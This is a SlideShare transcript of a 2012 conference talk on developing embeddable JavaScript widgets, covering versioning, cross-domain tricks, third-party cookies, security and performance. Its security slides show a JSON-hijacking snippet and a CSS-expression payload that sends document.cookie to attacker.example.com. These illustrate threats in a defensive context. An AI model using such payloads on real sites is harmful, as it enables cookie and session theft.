External JavaScript Widget Development Best Practices (updated) (v.1.1)
Upcoming SlideShare
Loading in...5
×
 

External JavaScript Widget Development Best Practices (updated) (v.1.1)

on

  • 4,095 views

Updated Presenatation of my jstanbul 2012 talk on "JavaScript Widget Development Best Practices"

Updated Presenatation of my jstanbul 2012 talk on "JavaScript Widget Development Best Practices"

Statistics

Views

Total Views
4,095
Views on SlideShare
4,070
Embed Views
25

Actions

Likes
7
Downloads
35
Comments
0

2 Embeds 25

http://www.linkedin.com 24
https://si0.twimg.com 1

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1) Presentation Transcript

    • JavaScript WidgetDevelopment Best Practices Volkan Özçelik volkan@o2js.com 2012-07-29 @ jstanbul http://jstanbul.org/2012
    • Who am I?• CTO, cember.net (%100 acquired by Xing AG; RIP)• Project Director, livego.com (gone to deadpool, RIP)• CO-VP of Technology, grou.ps ( http://grou.ps/ )• JavaScript Engineer, SocialWire ( http://socialwire.com/ )• J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
    • Other Places to Find Me• http://github.com/v0lkan• http://geekli.st/volkan• http://twitter.com/linkibol• http://linkd.in/v0lkan
    • Outline• What is a Widget? / Types of Widgets• Challenges Involved • Versioning • You are not the host, you are the thief. • Shared Environment • Bumping the Cross-Domain Wall • Not Your Grandma’s Cookies • Security • Performance• Questions
    • tar -zxvf 30Min.gzhttp://bit.ly/js-widget (work in progress)
    • tar -zxvf 30Min.gzhttps://github.com/v0lkan/o2.js/tr ee/master/examples/widget-demo
    • What is a Widget?• A Distributed Plugin • Source Site ( widget provider ) • Consumer Sites ( publishers )• Can have a GUI ( weather forecast )• May not have GUI too ( analytics, statistics )• Can be Stateful• Can be Stateless
    • Versioning Hassle• Types of Versioning: • URL Versioning • Version Number as an Init Parameter• If it ain’t broke, they won’t fix it. • When’s the last time you updated that Wordpress theme? • Nobody will change that darn version number!
    • Versioning Hassle• google‘s ga.js 2 hour cache time;• Facebook‘s all.js  15 minute cache time;• twitter‘s widgets.js  30 minute cache time. What part of “Far Future Expires Header” don’t you understand?!
    • Versioning Hassle• Far Future Expires Header• Self Cache-Revalidating Scripts: • A Bootloader Script • A JavaScript Beacon: • Returns 204 No Content if versions match, • Returns an auto-loader if versions do not match. • Iframe Refresh • window.location.reload(true)
    • Widget Initialization Flow
    • Act, but don’t be Seen• You don’t own publisher’s DOM.• Leave minimal trace behind.• Do not slow down publisher.• Do not pollute global namespace.
    • Act, but don’t be Seen• Do not extend Object.prototype or Function.prototype.• Show love to the Module Pattern.• Do not slow down publisher: • Async initialization, • Lazy Load.• Do not slow down yourself: • Native is faster, • Use IDs everywhere.
    • Environment is Shared• Prefix everything.• I mean… everything!
    • Environment is Shared
    • Cross Domain Boundary• Modern Methods • CORS • HTML5 window.postMessage API• Hacks • Flash Proxy • Hash Fragment Transport • window.name Transport • Iframe inside an Iframe (klein bottle) • Use Publisher’s Server as a Proxy • JSON with Padding
    • Third Party Cookies• Can be disabled by default.• Users may explicitly disable them.• Ad blocker browser plugins may disable them.• You cannot rely on their existence.
    • Third Party Cookies• Meaning of ‚disabled‛ varies too • Firefox & Opera: • Server cannot read, client cannot write • We’re tossed! (or are we?) • IE: • Server can read, client cannot write • Webkit (Chrome & Safari): • Server can read, • client can ‚kinda‛ write (iframe post hack)
    • Third Party Cookies• Check for 3rd Party Cookie Support First • Don’t jump straight into hacks.• External Windows as a Rescue • A pop-up is considered ‚first party‛• What about Opera & Firefox ? • Store session ID as a variable. • Pass to the server at each request. • Do not store on publisher’s page! • Use an IFRAME on API domain for security.
    • Widget Security• Bottom Line Up Front • Sanitize everything. • First deny everything, then whitelist known good. • Check referrers, have a list of trusted domains. • Do not trust anyone. function Anyone(){} function Publisher(){} Publisher.prototype = new Anyone();
    • Widget Security• XSS • Sanitize everything. • Escape < > ; , ‘ ‚ into HTML entities.• CSRF • Use a CSRF token.• Denial of Service • Subdomains per publisher ( publisher1.api.example.com ). • Throttle suspicious requests per subdomain. • Best handled on network / hardware layer.• Session Hijacking • … is a reality. • The only reasonable protection is HTTPS. • Use Multi-Level Authentication.
    • Widget Security (lesser known)JSON Hijacking<script>var captured = [];function Array() { for (var i = 0; i < 3; i++) { this[i] setter = function(val) { captured.push(val); }; }}</script><script src="http://api.example.com/products.json"></script>
    • Widget Security (lesser known)CSS Expression Hijacking var _wd_borderColor =#000;x:expression(var i = new Image;i.src="http://attacker.example.com/?" + document.cookie);;
    • Widget Security (lesser known)Clickjacking• Invisible IFRAME positioned on a UI element.Remedy:• Framekiller scripts• X-Frame-Options header• Request confirmation for sensitive actions• Register all your publishers
    • Widget Performance• Minimize Initial Payload: • Tiny boot loader, then load dependencies.• Lazy load when possible.• Combine and Minify Assets.• Use CSS Sprites.• Defer images (use a default image, then load original).• Minimize # of HTTP Requests.
    • Widget Performance• Minimize Repaint and Reflow.• Rate-limit Server Requests (throttle, debounce).• Yield with setTimeout(fn, 0).• Chunk large arrays of instructions.• Improve Perceived Performance: • Be an optimist: act, then verify.
    • Widget Performance• Do not micro-optimize,• Do not optimize prematurely,• Optimizing without measurement is misleading,• It’s hard to measure a third party widget’s performance. • A lot of moving parts involved. • Tools like jsperf.com will not be of much use. • Do not use your 8GB Ram + SSD MacBook for profiling. • Test on an low-grade machine.• Do not forget mobile!
    • Thank You! Questions?